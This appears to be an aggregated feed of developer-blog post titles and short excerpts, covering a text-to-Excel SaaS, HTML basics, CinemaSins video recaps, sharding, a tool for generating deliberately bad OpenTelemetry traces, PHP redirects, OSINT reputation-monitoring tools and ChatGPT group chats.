    I am building a Micro-SaaS called SpeakSheet. The premise is simple: You speak (or type) a prompt, and it generates a structured Excel file. The stack is solid: NextJS, Tailwind, Supabase, and Gemini on the backend. This week, I tackled the hardest part of the MVP: Formulas. Teaching an LLM to understand "Profit Margin" is tricky. It knows the math, but it doesn't know the context. After hours of tweaking the JSON schema and refining the prompt, I finally got a green light in the console. The logic was perfect. The schema was validated. I downloaded the generated file to test it. Profit Margin: 0. I stared at the screen. I felt that specific mix of confusion and anger that only developers know. I checked the backend logs—the calculation was correct. I checked the cell data—the formula was there. But the cell displayed 0. I spent an hour debugging a bug that didn't exist. The Invisible Villain Protected View: Be careful—files from the Internet can contain viruses. Because my software generated the file programmatically, Excel didn't trust it. It blocked the execution. I realized that for a user with low Excel literacy (my target audience), this is a dealbreaker. They won't click "Enable Editing." They will just churn. I had to refactor the user journey to account for a security feature I have no control over. The Design Pivot (feat. Gemini 3.0) I am a developer, not a designer. Usually, this is where I stall. I decided to test Gemini 3.0 Flash. I gave it a simple instruction: Design a modern, clean landing page for a SaaS that converts text to Excel. I expected the usual generic AI slop. It saved me two days of CSS wrestling. The Lesson Your logic can be perfect, but if Excel's UI hides it, you failed. Follow me here for the next update. @NotVarunKV Watch Demo of the working here: Demo Working  ( 9 min )
    Mapping the Skeleton of Every Webpage - Understanding HTML’s Core Structure
    HTML can feel like a long list of tags until you notice the quiet architecture hiding underneath. Browsers aren’t tossing those tags around at random, they’re following a predictable pattern that gives every page its skeleton. Once you understand that structure, the rest of HTML clicks into place. Suddenly you’re not memorizing, you’re navigating. At the center of it all is the document itself, the recipe the browser reads from top to bottom. It starts with a declaration, moves into a root, then steps through a head before finally reaching the body. These aren’t just sections of a file; they’re roles in a performance. The browser is the actor. Your markup is the script. Here’s a quick refresher on the boilerplate HTML layout: <meta charset="UTF…  ( 7 min )
    Beyond the Changelog: Engineering Your Blog for B2B Thought Leadership
    Your company blog is live. It’s got a product update from last quarter, a post about the company picnic, and a generic "5 Ways to Improve X" article. The traffic graph is flatter than a minified CSS file. Sound familiar? Most B2B company blogs are treated like a chore—a digital ghost town of forgotten press releases and shallow content. But what if you treated your blog like you treat your product? What if you engineered it, not just to exist, but to establish your company as a genuine thought leader in your space? Let’s refactor our approach. This isn't about content marketing hacks; it's about building a system to consistently output high-signal, high-value content that developers and engineers actually want to read. First, kill the "content is king" mantra. Insight is king. Most B2B blo…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Cinema Sins is back with “Everything Wrong With The Wiz In 15 Minutes Or Less,” a tongue-in-cheek breakdown of the classic Dorothy-meets-Oz musical now that Wicked is back in theaters. Expect rapid-fire call-outs on plot holes, cheesy dialogue, and all the little moments that make The Wiz both charming and sin-worthy. If you want more movie nitpicks (or just love Cinema Sins banter), check out their site for other channels (@TVSins, @CommercialSins), fill out their viewer poll, and support the team on Patreon. Don’t forget to follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social media, plus join the Cinema Sins community on Discord and Reddit! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less dissects every wild misstep of the movie with CinemaSins’ trademark snark. Swing by their site for deeper dives, or catch sister channels @TVSins, @CommercialSins, and @CinemaSinsPodcastNetwork for more cinematic roasts. For behind-the-scenes fun, hit their Linktree, chime in on the quick poll, or support on Patreon. Follow writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social, and join the party on Discord, Reddit, Instagram, and TikTok—plus peek at Jeremy’s new book for even more Sin-spiration. Watch on YouTube  ( 6 min )
    When Machines Make the Call
    The notification appears at 3:47 AM: an AI agent has just approved a £2.3 million procurement decision whilst its human supervisor slept. The system identified an urgent supply chain disruption, cross-referenced vendor capabilities, negotiated terms, and executed contracts—all without human intervention. By morning, the crisis is resolved, but a new question emerges: who bears responsibility for this decision? As AI agents evolve from simple tools into autonomous decision-makers, the traditional boundaries of workplace accountability are dissolving, forcing us to confront fundamental questions about responsibility, oversight, and the nature of professional judgment itself. The transformation of AI from passive tool to active agent represents one of the most significant shifts in workplace …  ( 20 min )
    I built a self-hosted Google Forms alternative and made it open source! 🎉
    Over the past few weeks, I have been building a Google Forms alternative but with a huge twist. Rather than creating forms manually, you can chat to develop forms and those forms go live instantly for submissions. Under the hood, it’s powered by a streaming LLM connected to Next.js & C1 by Thesys. The form spec and submissions are stored in MongoDB. It would be hard to cover the complete codebase but here are all the important details and everything I learned building this. In summary, we are going to cover these topics in detail. The vision behind the project. Tech Stack Used. Architecture Overview. Data Flow: From Prompt → Form → Save How It Works (Under the Hood). You can check the GitHub Repository. I was using Google Forms a few months back and realized it still requires you to build…  ( 14 min )
    A QA Engineer's Guide to Mobile App Testing vs. Web App Testing
    As businesses continue to deliver seamless digital experiences, the way we test applications has become more critical than ever. “web app testing” and “mobile app testing” at the start in this way to improve keyword relevance and make the introduction easier to read. To ensure consistent quality, QA teams must adapt their strategies depending on whether they’re testing a mobile app or a web app. The differences go far beyond screen size-ranging from device fragmentation and operating system diversity to installation flows, hardware integration, and even network variability. These challenges mean that the same QA approach cannot be applied to both environments without risking missed bugs or poor user experiences. If you’re interested in a foundational understanding of QA practices, check out our earlier blog on Everything You Need to Know About Functional Testing: A Beginner’s Guide In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. read more: https://jignect.tech/what-makes-mobile-app-testing-different-from-web-app-testing-a-qa-engineers-guide/  ( 7 min )
    Why Vitamin D health effects and supplementation matter now?
    New vitamin D research and what it means for your health Vitamin D helps the body absorb calcium and supports bone health. Recent studies revisit its wider roles, including immune and cardiovascular health. However, the evidence for supplements remains mixed. The standard test measures 25-hydroxycholecalciferol or 25(OH)D blood levels. A deficiency is below 30 nanomoles per liter. Because most vitamin D comes from sunlight, skin exposure drives levels. In addition, diet provides oily fish, egg yolks, mushrooms, and fortified foods. Infants need supplements at least until age one to prevent rickets. Low vitamin D associates with higher blood pressure and greater cardiovascular event risk. However, trials give conflicting results about whether supplements reduce these risks. Randomized tri…  ( 7 min )
    Angular migration to AWS with Azure AD SSO
    Introduction: Problem Statement: Scalability issues Server maintenance challenges Regular patching, monitoring, and hardware upkeep consumed significant time and resources. Server end-of-life concerns Authentication complexity Deployment bottlenecks The business needed a cloud Migration Steps Updated Angular dependencies for compatibility with modern cloud hosting. Integrated MSAL.js to handle authentication flows with Azure AD. Configured OAuth 2.0 and OpenID Connect for secure token management. Step 2: Setting up AWS Infrastructure Hosted static Angular files on Amazon S3. Used CloudFront as a CDN for faster global delivery. Configured Route 53 for domain management and DNS routing. Step 3: Integrating Azure AD SSO Registered the application in Azure AD. Configured redirect …  ( 8 min )
    Day 7: Simple Calculator - Putting It All Together - 30 Days of Python Challenge
    Welcome Back to Day 7! Hey everyone! It's Day 7 of my 30 Days of Python Challenge, and today is EXTRA exciting because we're building our first real project a calculator! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] Today, we're combining everything we've learned into a functional calculator. Let's build something awesome! Today's mission: Build a Calculator. This is where all our previous lessons come together! We're using user input, type casting, arithmetic operators, if statements, and introducing something new—functions! Building this calculator taught me: How to organize code into reusable functions How to handle user input for calculation…  ( 9 min )
    The Future of Digital Marketing: Strategies Businesses Can’t Ignore in 2025
    Digital marketing has evolved at lightning speed over the past decade, reshaping how businesses connect with customers and build long-term brand loyalty. In 2025, the pace of change shows no signs of slowing down. From artificial intelligence to voice search, personalization to privacy-first strategies, companies that want to thrive must stay ahead of the curve. This article explores the most important digital marketing trends shaping the future — and how businesses can leverage them to drive growth, build trust, and stand out in increasingly competitive markets. Artificial intelligence (AI) is no longer a buzzword; it’s the backbone of modern marketing. AI-driven tools now handle everything from predictive analytics to automated content creation, customer segmentation, and personalized …  ( 9 min )
    Day 3: Python Programming
    Operators Arithmetic Operators Used for mathematical calculations. Operator Meaning Example Addition 10 + 5 Subtraction 10 - 5 Multiplication 4 * 3 Example: Comparison Operators Greater than Logical Operators Assignment Operators = a = a × 5 * x = 10 String 1. What is a String? 2. String Indexing 3. String Slicing 4. Important String Functions 5. Loop Through String 6. Check Substring 7. Count Vowels Program word = "education" count = 0 for ch in word: if ch in "aeiou": count += 1 print("Vowels =", count)  ( 7 min )
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    Check out this Pen I made!  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins hops back onto the yellow brick road now that Wicked’s back in theaters, running through The Wiz with their signature sin-counting style—pointing out plot holes, quirky performances, and head-scratching moments you might’ve forgotten. It’s a fun, fast ride that asks: “Is The Wiz actually better than you remembered?” If you’re thirsty for more nit-picking goodness, their website and Linktree have all the latest videos, polls, and Patreon deets—plus links to Discord, Reddit, and every social channel you can imagine. Don’t miss out on supporting the team and joining the sinful conversation! Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 22, 2025
    Sector HQ Weekly Digest - November 22, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Mastering Modules in TypeScript: A Comprehensive Guide
    In the world of TypeScript, modules play a crucial role in organizing and structuring code for better maintainability and scalability. Let's dive into the world of modules in TypeScript and explore how they can enhance your development experience. Modules in TypeScript allow you to divide your code into reusable components that can be easily imported and exported across different files. This helps in keeping your codebase clean and organized. To export a module in TypeScript, you can use the export keyword followed by the element you want to export. For example: // mathFunctions.ts export function add(a: number, b: number): number { return a + b; } You can then import this module in another file using the import statement: // app.ts import { add } from './mathFunctions'; console.log(add(2, 3)); // Output: 5 In addition to named exports, TypeScript also supports default exports. You can export a default module like this: // logger.ts export default function log(message: string): void { console.log(message); } And import it using: // app.ts import log from './logger'; log('Hello, World!'); By using modules effectively, you can organize your codebase into logical units, making it easier to maintain and scale. You can create separate modules for different functionalities such as authentication, data manipulation, and UI components. TypeScript uses a system called 'module resolution' to find and load modules in your code. There are different strategies for module resolution, such as Node.js style, Classic, and others. Understanding how module resolution works can help you avoid common pitfalls when working with modules. Modules are a powerful feature in TypeScript that can greatly improve the structure and organization of your code. By mastering modules, you can write more maintainable and scalable applications. Start leveraging the power of modules in TypeScript today!  ( 7 min )
    Architecting a Fantasy Football Trade Analyzer: APIs, Algorithms, and Avoiding Bias
    Hey dev.to community, Fantasy football is a data-driven obsession for millions. We agonize over lineup decisions and, most intensely, trades. The question "Did I win this trade?" is haunting. When building fftradeanalyzer.com, my goal was to answer that question objectively using data, moving beyond gut feelings. However, calculating the "value" of an NFL player in real-time is a surprisingly complex engineering challenge that involves disparate data sources, predictive modeling, and handling significant contextual noise. Here is a high-level overview of the architecture and challenges involved in building a modern fantasy sports analysis tool. The Challenge: Defining "Value" in a Vacuum Projections: What are they likely to do moving forward? Positional Scarcity: A top-tier Tight End is wo…  ( 7 min )
    Key Concepts Covered in a Java Training Course
    Java is one of the most powerful and adaptable programming languages in today’s technology. From mobile applications to enterprise level software and web applications everywhere java’s presence is there. Java is the top choice for developers and organizations because it is platform independent, object oriented and secure. Table of Contents Basics of Java and Environment Setup Data Types, Variables, and Operators Control Flow Statements Object-Oriented Programming (OOP) Concepts Exception Handling in Java Collections Framework Multithreading and Concurrency Java Database Connectivity (JDBC) Basics of Java and Environment Setup You will learn how to install java and set up environment variables and to use Integrated Development Environment like Eclipse or IntelliJ IDEA. The first few se…  ( 9 min )
    How to Leverage Real Estate Tokenization to Unlock Property Value
    Real estate has traditionally been one of the most stable and lucrative investment classes. However, unlocking the true value of property has often been limited by high capital requirements, complex legal processes, and illiquid markets. Many valuable properties remain underutilized because their owners cannot access sufficient liquidity, and investors are unable to participate due to entry barriers. Real estate tokenization—a blockchain-driven innovation—is rapidly changing this landscape. By converting ownership of a property into digital tokens, property owners and developers can unlock capital, enhance liquidity, and expand access to a broader investor base, fundamentally redefining how property value is realized. Tokenization enables fractional ownership, automated management of incom…  ( 10 min )
    Designer Clothes Online: Redefining Luxury for the Digital Era
    The rise of designer clothes online has transformed the shopping experience for fashion enthusiasts around the world. What once required traveling to exclusive boutiques or high-end malls can now be explored through digital catalogues, immersive lookbooks, and personalized recommendations. This shift has made luxury fashion more accessible, allowing shoppers to enjoy premium craftsmanship and unique styles with unmatched convenience. The convenience of browsing designer collections online is one of its strongest attractions. Shoppers can compare styles, explore color options, read fabric details, and scroll through curated trends—all without stepping out of their homes. The digital space also offers a broader selection than many physical stores, featuring both global luxury houses and emer…  ( 8 min )
    Common Coding Mistakes at Every Level (And How to Fix Them)
    Common Coding Mistakes at Every Level (And How to Fix Them) TheBitForge ・ Nov 22 #webdev #programming #productivity #python  ( 6 min )
    Erome: A Complete Guide to the Content-Sharing Platform (2025 Overview)
    Erome is an online content-sharing platform that allows users to upload, organize, and share visual collections with a global audience. Over the years, it has built a recognizable presence due to its simple interface, community-driven uploads, and flexible gallery-style design. Whether you're researching Erome for informational purposes, online safety, or platform comparison, this guide provides a clear, balanced, and easy-to-understand overview. Erome is a media-hosting platform where users can create an account, set up albums, and upload photos or videos into curated galleries. These galleries can be shared publicly or kept private, depending on user preference. The website works similarly to other user-generated content platforms, focusing on simplicity and fast content delivery. The up…  ( 9 min )
    Best Virtual Model Generators for Clothing Brands in 2025: Top Tools to Boost Your Fashion Line
    As a fashion marketer and creative obsessed with workflow speed, I know firsthand how draining, expensive, and stressful producing great model photography can be. That’s why, over the past few months, I’ve gone all-in on testing the newest virtual model generators aimed at clothing brands. My goal? To find out which tools actually deliver on quality, realism, and legal compliance-without sucking up all my sanity or budget. Note: This article was generated with the help of AI tools and may reference companies I'm affiliated with. This list is about the tools that let me create meaningful model content for catalogs, campaigns, and e-commerce updates. I’ve used each one for real brand projects or test scenarios-not just poked at the settings. I put every option through the wringer with actu…  ( 12 min )
    So insightful
    A Beginner-Friendly Guide to TypeScript (What I Wish I Knew Earlier) Increase Akinwole ・ Nov 21 #webdev #ai #typescript #javascript  ( 6 min )
    Statistics Day 8: Understanding A/B Testing and Market Basket Analysis Without the Jargon
    Statistics Challenge for Data Scientists Today, we’ll understand two very practical ideas: A/B Testing – how to compare two options and choose the better one using data. Market Basket Analysis – how to find which items are often bought together. A simple concept, but still useful for data scientist. A/B testing is like a fair competition between two versions of something to see which one works better. You create: Version A Version B Then you show A to some people, B to some other people, and compare results. We do this to answer questions like: Which button gets more clicks? Which headline makes more people sign up? Which page keeps users longer? Imagine you have a website with a “Sign Up” button. You are not sure which button color works better: Version A: Red button Version B: Green butt…  ( 9 min )
    Java JOLT library tutorial with Examples
    1. What is JOLT? JOLT (JSON-to-JSON Transformation) is an open-source Java library (originally from Bazel/Spotify) used to: ✔ Transform JSON into a different JSON JOLT uses a transformation spec, written as JSON, to tell how input JSON should be transformed. 2. Why and When to Use JOLT? Use JOLT when: Examples: Backend receives API JSON and needs to convert it to another JSON format. Integrating with 3rd-party APIs that return weird JSON structure. Without JOLT you'd write dozens of lines of ObjectMapper, maps, loops, etc. JOLT reduces this to a tiny JSON transformation spec. You can store the spec in: a file, a database, config properties, or generate dynamically. 3. What is a Spec? A spec is a JSON array describing transformation steps. Example: [ { "operation": "shift", …  ( 9 min )
    I’m building a Python-native frontend framework that runs in the browser
    For years, the browser belonged entirely to JavaScript. I decided to challenge that assumption. I’m currently building Evolve **- a **Python-native frontend framework powered by WebAssembly and a minimal JavaScript DOM kernel. The goal is simple: Write UI in Python Run it in the browser Keep it fast, reactive, and simple I’m still deep in development, so I’m not publishing the source yet. But I will be sharing progress, architecture, and demos. If you’re curious about Python + WebAssembly in frontend, stay tuned.  ( 6 min )
    How to build a responsive alternating timeline with Tailwind CSS
    If you've ever tried to build a timeline that looks good on both mobile and desktop, you know it can get messy fast. This guide breaks it down step by step: how the grid is structured, how the spine works, how cards switch sides, and how to keep everything readable and accessible. Read the full article and grab the full snippet: https://lexingtonthemes.com/blog/how-to-build-a-responsive-alternating-timeline-with-tailwind-css  ( 6 min )
    Why I favor the fundamentals over the "Framework of the Month" for Web Development
    I’ve been doing web development for roughly 15 years. I remember the days before npm, the rise of jQuery, Bootstrap, the explosion of SPAs, and things in between. I’ve seen exciting trends and helpful tools, but lately, I’ve also seen frameworks that are increasingly confusing. Today's web development seems to be heading in an uneasy direction. We have normalized a level of complexity that pulls developers away from the basics of the web and into a walled garden framed by build tools, transpilers, and packers. I’m lucky to be self-employed, which gives me a unique perspective. I don't have a boss or a job description forcing me to use a specific framework, and that gives me the freedom to build my own way. Here is why I favor the fundamentals (HTML, CSS, JS) over the "Framework of the Mont…  ( 8 min )
    Migrated my whole SaaS Typing
    I just migrated my entire SaaS from varchar(36) UUID4 → native uuid UUID7 🤡. Instant results: ~33% faster inserts Smaller indexes Faster joins Less storage Smoother scaling Stop storing UUIDs as strings. 🐒 UUID7 is the upgrade everyone should’ve done yesterday.  ( 6 min )
    Building a React Native Hiragana & Katakana Learning App — My Approach & Lessons Learned
    Japanese learners always struggle in the beginning — not with vocabulary, but with memorising Hiragana and Katakana properly. I was in the same situation once, and I didn’t find a clean offline tool on Android. Most apps were full of ads or heavy UI. So I built a simple solution: KF Hiragana Katakana Flashcard — made for beginners and JLPT aspirants who just want to master the Japanese alphabet with repetition. The goal is speed + focus. No distractions. 📌 Flashcards for all Hiragana & Katakana characters 🔄 Shuffle mode to improve recall 📱 Offline support — learn anywhere 🎯 Minimal UI to keep focus on learning 🚀 Designed for JLPT N5 and N4 level practice This app is meant for daily usage, even if you study just 5–10 minutes per day. Technology Purpose React Native Core app development Expo (Managed Workflow) Dev environment & OTA updates Local JSON Data Store Hiragana & Katakana characters Async Storage Save user preferences (optional) No Backend Used Lightweight & offline-first approach AI Tools (assisted) Debugging & UI improvements Expo EAS Build Deployment to Play Store Keeping everything local made the app light and fast, perfect for learners who don’t have reliable internet all the time. Download & Try Hiragana Katakana Flashcard 👉 Play Store Lessons Learned During Development What really helped me while building: Keeping UI minimal increased usability JSON-based data is clean & easy to maintain React Native + Expo is powerful for quick prototypes Testing on a real phone matters — simulator is not enough AI + human logic = faster problem solving This app taught me that small tools solve big learning blocks. Especially in language learning.  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest snarky teardown, counting every plot hole, cliché and eyebrow-raising moment in record time. If you’ve ever wondered how demon hunting pairs with K-pop flair (and how many “sins” that mash-up racks up), this brisk, tongue-in-cheek breakdown has all the highlights. For more film-slaying fun, head to cinemasins.com or their Linktree for updates, polls and Patreon support. You can also follow the writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter and Instagram, join the Discord or Reddit communities, check out Jeremy’s book, and catch extra banter on TikTok. Watch on YouTube  ( 6 min )
    Sharding - Architecture Series: Part 5
    🏗️ Sharding - Architecture Series: Part 5 ⚔️ WHAT is Sharding? Sharding = Horizontally splitting one huge database into many smaller databases (shards), each living on separate servers. Each shard stores a slice of the whole dataset and handles a slice of total traffic. Single DB (Overloaded) → Sharded DB (Distributed) ┌─────────────────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ 1TB Data │ │ Shard 1 │ │ Shard 2 │ │ Shard 3 │ │ 15K QPS │ │ Users A-F │ │ Users G-M │ │ Users N-Z │ │ 💥 Slow / Choking │ │ 3K QPS │ │ 4K QPS │ │ 3K QPS │ └─────────────────────┘ └───────────┘ └───────────┘ └───────────┘ 📌 Dataset too large for a single server (100GB–TB scale) 📌 QPS (qu…  ( 8 min )
    Introducing "badtrace". Generate "bad" OpenTelemetry traces easily
    TLDR: badtrace on GitHub I needed a tool that would deliberately generate OpenTelemetry traces that were "bad". I needed this for training, enablement and demo purposes so that I could easily fire a trace with a known issue into my Observability system and thus show "why it was bad" and "how it looks". Yes, tools like tracepusher and telemetrygen already exist, but they typically: a) Generate "good" or "healthy" traces Hence, "badtrace" was born. It works based on "scenarios" (you can implement your own in a few lines of Python). python app.py \ --endpoint=http://localhost:4318 \ --service-name=badtrace \ # optional: defaults to "badtrace" --trace-count=1 \ # optional: defaults to 1 --insecure=true \ --scenario=scenario1 As I write this, there are currently 4 scenarios (please come and help implement more) which can be toggled by changing scenario1 above to scenario2, scenario3 or scenario4 etc. Scenario 1 creates a short, small trace. This is quick (in end-to-end time) and short in terms of number of spans. In reality this would be a very low value trace (and thus a candidate to filter or heavily sample). Scenario 2 creates a trace where some of the spans have errored. This models a trace where some of the operations error (imagine calling third party services and some of them fail). Scenario 3 creates a "chatty" client to server trace with the client repeatedly calling the same endpoint over and over. This models things like the N+1 query problem where (for example) multiple SELECT statements occur to a database (instead of batching up the SELECTS into fewer statements). Scenario 4 is similar to 3. It creates a "chatty" client but this time, the connections occur to many different servers. If this sounds useful, go check out badtrace on GitHub!  ( 7 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less The CinemaSins crew is hitting the yellow brick road again to rip into 1978’s The Wiz—just in time now that Wicked is back in theaters—and they’re asking the big question: is this musical actually better than you remember? Expect all the classic Sin commentary, snarky observations, and rapid-fire jokes packed into a bite-sized rundown. Hungry for more? Head over to cinemasins.com or their Linktree for the latest videos, fill out their “sinful” poll, or throw a few coins into their Patreon. You can also stalk them on Twitter, Instagram, TikTok, Discord and Reddit to keep the movie nitpicking flowing. Watch on YouTube  ( 6 min )
    WebApiClientGen vs Kiota regarding ASP.NET backend + Angular Frontend
    Introduction When building modern applications with an ASP.NET Core backend and an Angular frontend, one recurring challenge is how to generate strongly typed client APIs. Developers want to avoid repetitive boilerplate, ensure type safety, and keep backend and frontend models in sync. Two tools often considered are WebApiClientGen and Kiota. While both aim to simplify client generation, they differ fundamentally in approach and fit. WebApiClientGen is a modular toolkit that generates C# and TypeScript client APIs directly from ASP.NET Core Web API controllers — without requiring Swagger/OpenAPI. C# client generation for .NET, Xamarin.Forms, MAUI, Blazor. TypeScript client generation for Angular, Aurelia, Axios, Fetch API, jQuery. POCO → TypeScript conversion for schema fidelity. A…  ( 8 min )
    Why AWS AIOps Matters Now.. A Technical Breakdown for DevOps and SRE Teams
    IT operations have reached a breaking point. Traditional monitoring tools can’t keep up with the complexity of cloud-native environments, microservices, and continuous delivery pipelines. Incidents are more expensive than ever with downtime costing enterprises between $300,000 and $1M per hour (Gartner). Yet, AWS customers adopting GenAI-powered AIOps have seen a 60% reduction in mean time to resolution, 95% fewer out-of-hours incidents, and 99.9% availability across critical workloads. Meanwhile, DevOps and SRE teams are drowning in alert storms, spending more time reacting to noise than resolving real issues. This is where AIOps (Artificial Intelligence for IT Operations) comes in. By combining advanced machine learning with automation, AIOps doesn’t just monitor (it predicts, correla…  ( 8 min )
    Selenium Architecture & Python Virtual Environ
    Selenium architecture is based on a client-server model where test scripts communicate with browser drivers through APIs and protocols. Here are the key points you should know: Available in multiple languages (Java, Python, C#, Ruby, etc.). Test scripts are written using these libraries to send commands to browsers. Acts as a bridge between client libraries and browser drivers. Converts commands into a standard format that browsers can understand. Selenium 4 fully supports the W3C WebDriver protocol, improving compatibility with modern browsers. Each browser has its own driver (e.g., ChromeDriver, GeckoDriver for Firefox, EdgeDriver). Drivers receive commands from the client via HTTP and execute them in the browser. They return responses back to the client libraries. The actual environment…  ( 7 min )
    The Complete Toolkit for Instant Photo Editing — All in Your Browser
    If you’ve ever needed to quickly resize, compress, or convert an image, you probably know how frustrating it can be to juggle between different apps or heavy desktop tools. The good news is that now, most of this can be done instantly — right in your browser. Pixilify TinyPNG Squoosh ILoveIMG Convertio Final Thoughts You don’t need Photoshop for simple edits anymore. Browser-based tools have become powerful enough for most quick tasks. Whether you’re adjusting image sizes for a website, compressing for social media, or converting formats for better compatibility, these platforms make it effortless. What’s your go-to browser-based image editor?  ( 6 min )
    Why does the PHP header redirect not work sometimes?
    Ever stuck hours or days looking for bugs in your PHP project when the redirection is not working as expected? project for my new PHP course. And after looking for possible bugs for some time, I remembered the fix I used when I was just a beginner (a decade ago). Now I was curious to know why the PHP header was not working when another fix is working fine. So I did a quick Google search and found out that there should not be any output (like HTML, whitespace or errors) before header() function call. It’s similar to the “Cannot modify header information” error. 1. Whitespace before opening PHP tag: Any space or new line before the opening “<?php” tag is considered as an output. 2. HTML output before Header call: Any echo/print statements that have been executed before header redirection als…  ( 7 min )
    How to choose the right image format for web use (JPEG vs PNG vs WebP)
    Picking the right image format may look like a small decision, but it can affect how fast your site loads, how sharp your visuals look and even how users interact with your content. If you’re unsure when to use JPEG, PNG or WebP, here’s an easy guide. JPEG JPEG works best for photos or images with many colors and gradients. When to use Product photos Small file size Loses some detail during compression PNG PNG is good when you need crisp quality with transparency. When to use Logos High quality Larger file size compared to JPEG WebP WebP is a modern format that offers high quality with smaller sizes. When to use Most web images Smaller than JPEG and PNG Older browsers may not support it Quick comparison Format Best for Quality Transparency File size JPEG Photos Good No Small PNG Graphics Excellent Yes Large WebP Most uses Excellent Yes Small Simple rule to follow Photos → JPEG or WebP If your platform supports it, WebP is a great all-round option. Still, JPEG and PNG remain important when you need broad compatibility. Experiment a little to see what meets your quality and performance goals  ( 7 min )
    Essential OSINT Tools for Reputation Monitoring: A Technical Deep Dive
    Essential OSINT Tools for Reputation Monitoring: A Technical Deep Dive As reputation management professionals, we rely heavily on OSINT (Open-Source Intelligence) tools to monitor online presence and identify potential threats. Today, I'm sharing our comprehensive toolkit that helps businesses protect their digital footprint. OSINT tools provide real-time monitoring capabilities that are essential for: Early threat detection Brand mention tracking Competitor analysis Crisis prevention Key Tools: Social-searcher.com - Free social media search across multiple platforms Mention.com - Real-time brand monitoring TweetDeck - Advanced Twitter monitoring Essential Tools: Google Alerts - Basic but effective for brand mentions ReviewTrackers - Multi-platform review monitoring Trustpilot Business - Review tracking and management Critical Tools: Google Search Console - Search performance monitoring Moz Pro - Rank tracking and backlink analysis SEMrush - Comprehensive SEO and brand monitoring I've compiled an extensive list of these tools in our GitHub repository: Essential OSINT Tools Checklist This resource includes: Tool descriptions and use cases Pricing information (free vs paid) Implementation guides Best practices for each tool bash # Example automated monitoring setup 1. Configure Google Alerts for brand keywords 2. Set up Social Searcher for social media mentions 3. Implement Google Search Console for SEO tracking 4. Schedule weekly reputation audit reports  ( 7 min )
    The Rise of AI Creativity: How Generative AI Is Changing Industries
    In today’s fast-paced digital world, Generative AI is no longer just a futuristic concept—it’s actively transforming the way industries operate. From creating art and designing products to generating content and optimizing workflows, generative AI is revolutionizing creativity across sectors. Businesses that harness this technology gain a competitive edge by accelerating innovation and improving efficiency. What is Generative AI? Industries Being Transformed by Generative AI 1. Marketing and Content Creation 2. Design and Visual Arts 3. Music and Entertainment Read More: The Rise of AI Creativity: How Generative AI Is Changing Industries Conclusion For more insights into AI innovations, industry trends, and how businesses are leveraging cutting-edge technologies, be sure to visit Nate Patel’s website for expert guidance and resources.  ( 7 min )
    How do ChatGPT group chats for team collaboration help?
    ChatGPT group chats for team collaboration: Integrating AI into everyday workflows ChatGPT group chats unlock new ways for teams to collaborate. They create shared spaces where up to 20 people can participate. As a result, teams can align faster and reduce email clutter. OpenAI built group chats to copy an existing conversation into a shared thread. Then members join via a shareable link. Because the system runs on GPT-5.1 Auto, the model can reply when mentioned and react with emojis. However, rate limits apply only when ChatGPT sends messages. Also, OpenAI says it will not use memories from personal chats inside group conversations, and it will not create new memories from group activity. Therefore privacy controls matter for enterprise adoption. Start a group chat by tapping the peopl…  ( 8 min )
    Building Open-Source Reputation Management Tools: Why I Shared Our Proprietary Frameworks
